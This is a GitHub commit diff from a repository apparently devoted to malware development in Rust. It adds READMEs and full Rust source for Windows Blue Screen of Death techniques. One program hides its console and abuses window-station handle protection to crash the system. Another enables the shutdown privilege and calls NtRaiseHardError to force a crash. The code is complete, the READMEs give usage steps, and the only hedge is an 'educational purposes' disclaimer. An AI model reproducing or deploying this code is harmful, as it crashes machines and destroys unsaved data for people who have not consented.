Skip to content

Commit 95a7ae3

Browse files
committed
Add project directory changes
Added a project directory for each PoC with a README.md file. Included a download option for easier access to specific PoCs. All PoCs will soon have these features.
1 parent f0b4088 commit 95a7ae3

File tree

57 files changed

+510
-3949
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

57 files changed

+510
-3949
lines changed

BSOD/README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
## BSOD Techniques
1+
# BSOD Techniques in Rust     
22

33
![Blue Screen Of Death](https://cdn.mos.cms.futurecdn.net/PJyEybKyQhGBpM4QXw7ccH.jpg)
44

@@ -10,6 +10,9 @@ Here you can find the BSOD Implementation Techniqes..
1010
* [WinLogon](./ntsd_winlogon/)
1111
* [NtSetInformationProcess](./ntsetinformationprocess/)
1212

13+
[Download](https://downgit.github.io/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD)
14+
15+
1316
> NOTE: These are old Techniques that i found on forum and i could'nt find the original authors.
1417
1518
For Errors DM: [@5mukx](https://x.com/5mukx)

BSOD/bsod_NtRaiseHardError/Cargo.lock

Lines changed: 0 additions & 42 deletions
This file was deleted.

BSOD/closewindowstation/Cargo.lock

Lines changed: 0 additions & 7 deletions
This file was deleted.

BSOD/closewindowstation/Cargo.toml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,3 +4,13 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7+
winapi = { version = "0.3", features = [
8+
"consoleapi",
9+
"handleapi",
10+
"minwindef",
11+
"winbase",
12+
"wincon",
13+
"winuser",
14+
"windowsx",
15+
"winnt",
16+
] }

BSOD/closewindowstation/README.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# CloseWindowStation BSOD
2+
3+
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by manipulating window station handles.
4+
5+
[Download](https://downgit.github.io/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/closewindowstation)
6+
7+
## Author
8+
@5mukx
9+
10+
## Description
11+
This program demonstrates a technique to trigger a BSOD by:
12+
1. Creating a new window station
13+
2. Setting handle information to protect from close
14+
3. Manipulating window station handles
15+
4. Using specific memory addresses for system stability
16+
17+
## Features
18+
- Uses Windows API functions for window station manipulation
19+
- Demonstrates handle protection techniques
20+
- Hides console window during execution
21+
22+
## Dependencies
23+
- winapi
24+
25+
## Usage
26+
1. Compile the program using Cargo
27+
2. Run the executable
28+
3. BSOD will be triggered through window station manipulation
29+
30+
## Technical Details
31+
The program uses several Windows API functions:
32+
- CreateWindowStationA
33+
- SetHandleInformation
34+
- GetConsoleWindow
35+
- ShowWindow
36+
37+
## Warning
38+
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.

BSOD/closewindowstation/src/main.rs

Lines changed: 41 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,42 @@
1-
fn main() {
2-
println!("Hello, world!");
1+
/*
2+
Trigger BSOD Using CloseWindowStation()
3+
@5mukx
4+
*/
5+
6+
use std::ptr::null_mut;
7+
8+
use winapi::{
9+
ctypes::c_void,
10+
shared::{
11+
minwindef::HWINSTA,
12+
windef::HWND},
13+
um::{
14+
handleapi::SetHandleInformation,
15+
minwinbase::SECURITY_ATTRIBUTES,
16+
winbase::HANDLE_FLAG_PROTECT_FROM_CLOSE,
17+
wincon::GetConsoleWindow,
18+
winuser::{CreateWindowStationA, ShowWindow, SW_HIDE}
19+
}
20+
};
21+
22+
fn main(){
23+
unsafe{
24+
let hwnd: HWND = GetConsoleWindow();
25+
ShowWindow(hwnd, SW_HIDE);
26+
27+
let dwaddr: u32 = 0x80000000 | 0x40000000;
28+
29+
let hwinsta:HWINSTA = CreateWindowStationA(
30+
"WindowStation\0".as_ptr() as *const i8,
31+
0,
32+
dwaddr,
33+
null_mut() as *mut SECURITY_ATTRIBUTES,
34+
);
35+
36+
SetHandleInformation(
37+
hwinsta as *mut c_void,
38+
HANDLE_FLAG_PROTECT_FROM_CLOSE,
39+
HANDLE_FLAG_PROTECT_FROM_CLOSE,
40+
);
41+
}
342
}

BSOD/lookupprivilegevalue/Cargo.lock

Lines changed: 0 additions & 7 deletions
This file was deleted.

BSOD/lookupprivilegevalue/Cargo.toml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,3 +4,5 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7+
winapi = { version = "0.3", features = ["ntstatus", "processthreadsapi", "errhandlingapi", "securitybaseapi", "winbase", "winnt", "wtypesbase"] }
8+
ntapi = "0.4"

BSOD/lookupprivilegevalue/README.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# LookupPrivilegeValue BSOD
2+
3+
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by manipulating system privileges and using the NtRaiseHardError API.
4+
5+
[Download](https://downgit.github.io/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/lookupprivilegevalue)
6+
7+
8+
## Author
9+
@5mukx
10+
11+
## Description
12+
This program demonstrates a technique to trigger a BSOD by:
13+
1. Obtaining process token with necessary privileges
14+
2. Looking up and enabling the shutdown privilege
15+
3. Adjusting token privileges
16+
4. Raising a hard error using NtRaiseHardError
17+
18+
## Features
19+
- Uses Windows API functions for privilege manipulation
20+
- Demonstrates proper error handling
21+
- Interactive user prompt before triggering BSOD
22+
23+
## Dependencies
24+
- winapi
25+
- ntapi
26+
27+
## Usage
28+
1. Compile the program using Cargo
29+
2. Run the executable
30+
3. Press any key when prompted to trigger the BSOD
31+
32+
## Technical Details
33+
The program uses several Windows API functions:
34+
- OpenProcessToken
35+
- LookupPrivilegeValueA
36+
- AdjustTokenPrivileges
37+
- NtRaiseHardError
38+
39+
## Warning
40+
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.

BSOD/lookupprivilegevalue/src/main.rs

Lines changed: 90 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,92 @@
1+
/*
2+
Program to invoke BSOD setting up privileges and provoking NtRaiseHardError.
3+
@5mukx
4+
5+
*/
6+
7+
use ntapi::ntexapi::NtRaiseHardError;
8+
use std::ffi::CString;
9+
use std::ptr;
10+
use winapi::shared::ntstatus::STATUS_ASSERTION_FAILURE;
11+
use winapi::shared::wtypesbase::ULONG;
12+
use winapi::um::errhandlingapi::GetLastError;
13+
use winapi::um::processthreadsapi::GetCurrentProcess;
14+
use winapi::um::processthreadsapi::OpenProcessToken;
15+
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
16+
use winapi::um::winbase::LookupPrivilegeValueA;
17+
use winapi::um::winnt::{
18+
LUID, SE_PRIVILEGE_ENABLED, SE_SHUTDOWN_NAME, TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES,
19+
TOKEN_QUERY,
20+
};
21+
122
fn main() {
2-
println!("Hello, world!");
23+
println!("Press any key to trigger a BSOD.");
24+
let mut input = String::new();
25+
std::io::stdin().read_line(&mut input).unwrap();
26+
27+
unsafe {
28+
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
29+
if OpenProcessToken(
30+
GetCurrentProcess(),
31+
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
32+
&mut token_handle,
33+
) == 0
34+
{
35+
println!("Failed to open process token.");
36+
return;
37+
}
38+
39+
let mut luid: LUID = LUID {
40+
LowPart: 0,
41+
HighPart: 0,
42+
};
43+
let shutdown_privilege = CString::new(SE_SHUTDOWN_NAME).unwrap();
44+
if LookupPrivilegeValueA(ptr::null(), shutdown_privilege.as_ptr(), &mut luid) == 0 {
45+
println!(
46+
"Failed to lookup privilege value. Error: {}",
47+
GetLastError()
48+
);
49+
return;
50+
}
51+
52+
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
53+
PrivilegeCount: 1,
54+
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
55+
Luid: luid,
56+
Attributes: SE_PRIVILEGE_ENABLED,
57+
}],
58+
};
59+
60+
AdjustTokenPrivileges(
61+
token_handle,
62+
0,
63+
&tp as *const _ as *mut _,
64+
0,
65+
ptr::null_mut(),
66+
ptr::null_mut(),
67+
);
68+
69+
if GetLastError() != 0 {
70+
println!(
71+
"Failed to adjust token privileges. Error: {}",
72+
GetLastError()
73+
);
74+
return;
75+
}
76+
77+
// Raise hard error
78+
let mut response: ULONG = 0;
79+
let status = NtRaiseHardError(
80+
STATUS_ASSERTION_FAILURE,
81+
0,
82+
0,
83+
ptr::null_mut(),
84+
6,
85+
&mut response,
86+
);
87+
88+
if status != 0 {
89+
println!("Failed to raise hard error. Status: {}", status);
90+
}
91+
}
392
}

BSOD/ntsd_winlogon/Cargo.lock

Lines changed: 0 additions & 32 deletions
This file was deleted.

BSOD/ntsd_winlogon/Cargo.toml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,11 @@ version = "0.1.0"
44
edition = "2021"
55

66
[dependencies]
7-
winapi = { version = "0.3.9", features = ["handleapi", "winbase", "winuser", "winnt", "wincon", "tlhelp32"] }
7+
winapi = { version = "0.3.9", features = [
8+
"handleapi",
9+
"winbase",
10+
"winuser",
11+
"winnt",
12+
"wincon",
13+
"tlhelp32",
14+
] }

0 commit comments

Comments
 (0)